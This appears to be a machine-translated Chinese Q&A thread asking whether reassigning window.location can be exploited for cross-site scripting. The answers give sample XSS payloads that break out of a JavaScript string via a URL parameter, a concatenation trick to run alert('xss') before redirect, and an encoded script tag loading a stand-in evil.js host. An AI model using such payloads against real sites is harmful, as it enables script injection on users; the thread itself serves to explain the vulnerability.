此问题与作为刷新页面方法的代码window.location = window.location
有关,与重定向/其他变量无关。
我的理解如下:
window.location = window.location
导致页面刷新,因为浏览器将导航到用户已经所在的相同位置
通过DOM操作对此变量的任何更改都将导致页面重新加载/加载攻击者页面,因此这些行将无法在更改值的情况下执行,因此不适合进行跨站点脚本攻击。
这是正确的吗
编辑:我真正想问的是,是否有一种方法可以在不重新加载页面的情况下更改window.location
,以便在调用window.location = window.location
时,浏览器将被发送到另一个位置。
所以,如果我正确理解你的问题,那么这些答案都不正确。可以利用window.location
来执行xs。您遇到的障碍似乎是在执行window.location
行之后,页面将刷新并跳过有效负载的执行。我假设您能够在window.location右侧的字符串中引入内容,并且输入没有正确编码为JavaScript字符串。
例如,如果http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'
导致如下代码:
<script>
window.location='derp';alert('xss');var a = '';
</script>
您可以利用字符串串联将分配推迟到window.location,直到您的负载执行完毕。所以类似于:
http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'
将产生执行有效负载的以下代码。
<script>
window.location='derp' + alert('xss') + '';
</script>
不过,这确实应该在安全性StackExchange中。
问题与window.location
无关,而是与如何处理在新上下文中使用的任意数据有关。
如果你从一个URL中获取输入,并使用它来构建一个新的URL以重定向到,那么你就会发现问题。采用经典重定向页面。。。
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil
如果页面上有JavaScript将window.location
设置为查询字符串参数url
的值,则页面将转到http://somethingevil
。
XSS的主要方法是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示"Hello Brad",其中"Brad"来自名为name
的URL参数。现在,假设攻击者将URL设置为name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E
。如果我只是将name
的值直接注入到页面中,那么我的脚本evil.js
将在该页面上运行。如果我正确地转义数据,那么它可以在页面中使用,因为它将被解释为文本。